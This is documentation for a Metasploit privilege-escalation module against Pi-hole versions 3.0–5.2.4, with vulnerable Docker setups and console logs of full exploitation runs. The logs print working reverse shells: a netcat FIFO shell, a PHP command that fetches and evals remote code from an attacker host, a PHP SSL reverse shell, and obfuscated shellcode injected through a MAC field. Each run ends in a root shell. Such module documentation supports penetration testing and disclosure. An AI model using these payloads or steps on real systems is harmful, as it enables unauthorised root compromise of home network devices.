## Vulnerable Application

Pi-Hole versions 3.0 - 5.3 allows for command line input to the `removecustomcname` (5.1-5.2.4),
`removecustomdns` (5.0-5.2.4), and `removestaticdhcp` (3.0-5.2.4) functions without properly validating
the parameters before passing to `sed`.  When executed as the `www-data` user,
this allows for a privilege escalation to root since `www-data` is in the
`sudoers.d/pihole` file with no password.

### Install

More info at [https://github.com/pi-hole/docker-pi-hole/](https://docs.pi-hole.net/)

### Docker v4.3

```
$ cat ~/docker-compose.yml 
version: "3"

services:
  pihole:
    container_name: pihole
    image: pihole/pihole:4.3
    ports:
      #- "53:53/tcp"
      #- "53:53/udp"
      #- "67:67/udp"
      - "80:80/tcp"
    environment:
      TZ: 'America/Chicago'
      WEBPASSWORD: ''
    # Volumes store your data between container upgrades
    volumes:
      - './etc-pihole/:/etc/pihole/'
      - './etc-dnsmasq.d/:/etc/dnsmasq.d/'
    # Recommended but not required (DHCP needs NET_ADMIN)
    #   https://github.com/pi-hole/docker-pi-hole#note-on-capabilities
    cap_add:
      - NET_ADMIN
    restart: unless-stopped
```

Now exploit with `unix/http/pihole_dhcp_mac_exec`

### Docker v5.0

```
$ cat ~/docker-compose.yml 
version: "3"

services:
  pihole:
    container_name: pihole
    image: pihole/pihole:v5.0
    ports:
      #- "53:53/tcp"
      #- "53:53/udp"
      #- "67:67/udp"
      - "80:80/tcp"
    environment:
      TZ: 'America/Chicago'
      WEBPASSWORD: ''
    # Volumes store your data between container upgrades
    volumes:
      - './etc-pihole/:/etc/pihole/'
      - './etc-dnsmasq.d/:/etc/dnsmasq.d/'
    # Recommended but not required (DHCP needs NET_ADMIN)
    #   https://github.com/pi-hole/docker-pi-hole#note-on-capabilities
    cap_add:
      - NET_ADMIN
    restart: unless-stopped
```

Get a shell through console:

```
$ sudo docker-compose exec pihole /bin/bash
```

Switch to `www-data` user:

```
su - www-data -s /bin/bash
```

Now execute a payload to simulate the initial access.

### Docker v5.1

```
$ cat ~/docker-compose.yml 
version: "3"

services:
  pihole:
    container_name: pihole
    image: pihole/pihole:v5.1
    ports:
      #- "53:53/tcp"
      #- "53:53/udp"
      #- "67:67/udp"
      - "80:80/tcp"
    environment:
      TZ: 'America/Chicago'
      WEBPASSWORD: ''
    # Volumes store your data between container upgrades
    volumes:
      - './etc-pihole/:/etc/pihole/'
      - './etc-dnsmasq.d/:/etc/dnsmasq.d/'
    # Recommended but not required (DHCP needs NET_ADMIN)
    #   https://github.com/pi-hole/docker-pi-hole#note-on-capabilities
    cap_add:
      - NET_ADMIN
    restart: unless-stopped
```

Get a shell through console:

```
$ sudo docker-compose exec pihole /bin/bash
```

Switch to `www-data` user:

```
su - www-data -s /bin/bash
```

Now execute a payload to simulate the initial access.

### Docker

## Verification Steps

1. Install the application
1. Start msfconsole
1. Get a session with `www-data` permissions
1. Do: `use exploit/linux/local/pihole_remove_commands_lpe`
1. Do: `set session [#]`
1. Do: `set target [NAME]`
1. Do: `run`
1. You should get a root shell.

## Options

### Target: DHCP

Exploits the `removestaticdhcp` command through `/etc/dnsmasq.d/04-pihole-static-dhcp.conf` file. Versions 3.0-5.2.4 are vulnerable.
This is the default.

### Target: DNS

Exploits the `removecustomdns` command through `/etc/pihole/custom.list` file. Versions 5.0-5.2.4 are vulnerable.

### Target: CNAME

Exploits the `removecustomcname` command through `/etc/dnsmasq.d/05-pihole-custom-cname.conf` file. Versions 5.1-5.2.4 are vulnerable.

## Scenarios

### Pi-hole version 4.3.2

#### Initial Session
```
[*] Processing pihole.rb for ERB directives.
resource (pihole.rb)> use unix/http/pihole_dhcp_mac_exec
[*] Using configured payload cmd/unix/reverse_netcat
resource (pihole.rb)> set payload payload/cmd/unix/reverse_python
payload => cmd/unix/reverse_python
resource (pihole.rb)> set rhosts 192.168.2.40
rhosts => 192.168.2.40
resource (pihole.rb)> set lhost 192.168.2.129
lhost => 192.168.2.129
resource (pihole.rb)> set verbose true
verbose => true
resource (pihole.rb)> exploit
[*] Started reverse TCP handler on 192.168.2.129:4444 
[+] Version Detected: 4.3
[*] Using cookie: PHPSESSID=p2cnattrr0ffn51833141uaite;
[*] Using token: 3oEAhv+GdLt80vxFq4u5o4N8fYuq9DPonLg+ZO+QHo8=
[*] Validating path with MAC: 9F38D6019D1D
[+] System env path exploitable: /opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[*] Payload MAC will be: B0DA4A294E35
[*] Shellcode: B0DA4A294E35&&W=${PATH#/???/}&&P=${W%%?????:*}&&X=${PATH#/???/??}&&H=${X%%???:*}&&Z=${PATH#*:/??}&&R=${Z%%/*}&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN(" "));'&&
[*] Sending Exploit
[*] Attempting to clean 9F38D6019D1D from config
[*] Attempting to clean B0DA4A294E35 from config
[*] Command shell session 1 opened (192.168.2.129:4444 -> 192.168.2.40:55430) at 2021-05-30 11:10:28 -0400

whoami
www-data
uname -a
Linux pihole 4.15.0-64-generic #73-Ubuntu SMP Thu Sep 12 13:16:13 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
^Z
Background session 1? [y/N]  y
```

#### Priv Esc

```
resource (pihole.rb)> use exploit/linux/local/pihole_remove_commands_lpe
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
resource (pihole.rb)> set verbose true
verbose => true
msf exploit(linux/local/pihole_remove_commands_lpe) > set session 1
session => 1
msf exploit(linux/local/pihole_remove_commands_lpe) > exploit

[+] mkfifo /tmp/lodcpa; nc 192.168.2.129 4444 0</tmp/lodcpa | /bin/sh >/tmp/lodcpa 2>&1; rm /tmp/lodcpa
[*] Started reverse TCP handler on 192.168.2.129:4444 
[*] Executing automatic check (disable AutoCheck to override)
[*] Current user: www-data
[*] Pi-hole version: 4.3.2
[+] The target appears to be vulnerable. Pi-Hole 4.3.2 with user www-data is vulnerable and exploitable
[+] /etc/dnsmasq.d/04-pihole-static-dhcp.conf found!
[*] Executing payload against removestaticdhcp command
[*] Command shell session 2 opened (192.168.2.129:4444 -> 192.168.2.40:55466) at 2021-05-30 11:11:31 -0400

whoami
root
uname -a
Linux pihole 4.15.0-64-generic #73-Ubuntu SMP Thu Sep 12 13:16:13 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
```

### Pi-hole version 5.0

#### Initial Session
```
msf exploit(multi/handler) > use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set target 1
target => 1
msf exploit(multi/script/web_delivery) > set payload payload/php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > run
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
msf exploit(multi/script/web_delivery) > 
[*] Started reverse TCP handler on 192.168.2.129:4444 
[*] Using URL: http://0.0.0.0:8080/pmL2Ap
[*] Local IP: http://192.168.2.129:8080/pmL2Ap
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.129:8080/pmL2Ap', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"
[*] 172.19.0.2       web_delivery - Delivering Payload (1114 bytes)
[*] Sending stage (39282 bytes) to 172.19.0.2
[*] Meterpreter session 3 opened (192.168.2.129:4444 -> 172.19.0.2:55344) at 2021-05-30 11:46:31 -0400
```

#### Priv Esc

```
msf exploit(multi/script/web_delivery) > use exploit/linux/local/pihole_remove_commands_lpe
[*] Using configured payload cmd/unix/reverse_php_ssl
msf exploit(linux/local/pihole_remove_commands_lpe) > set target dns
target => dns
msf exploit(linux/local/pihole_remove_commands_lpe) > set session 1
session => 1
msf exploit(linux/local/pihole_remove_commands_lpe) > sessions

Active sessions
===============

  Id  Name  Type                   Information                   Connection
  --  ----  ----                   -----------                   ----------
  3         meterpreter php/linux  www-data (33) @ a5d63e5df67d  192.168.2.129:4444 -> 172.19.0.2:55344 (172.19.0.2)

msf exploit(linux/local/pihole_remove_commands_lpe) > set session 3
session => 3
msf exploit(linux/local/pihole_remove_commands_lpe) > set target DNS
target => DNS
msf exploit(linux/local/pihole_remove_commands_lpe) > run

[+] php -r '$ctxt=stream_context_create(["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]);while($s=@stream_socket_client("ssl://192.168.2.129:4444",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode("\n",$o);$o.="\n";fputs($s,$o);}}'&
[!] SESSION may not be compatible with this module (unloadable Meterpreter extension: )
[*] Started reverse SSL handler on 192.168.2.129:4444 
[*] Executing automatic check (disable AutoCheck to override)
[*] Current user: www-data
[*] Pi-hole version: 5.0
[+] The target appears to be vulnerable. Pi-Hole 5.0 with user www-data is vulnerable and exploitable
[+] /etc/pihole/custom.list found!
[*] Executing payload against removecustomdns command
[*] Command shell session 5 opened (192.168.2.129:4444 -> 172.19.0.2:55368) at 2021-05-30 11:54:30 -0400

whoami
root
uname -a
Linux a5d63e5df67d 5.10.0-kali7-amd64 #1 SMP Debian 5.10.28-1kali1 (2021-04-12) x86_64 GNU/Linux
```
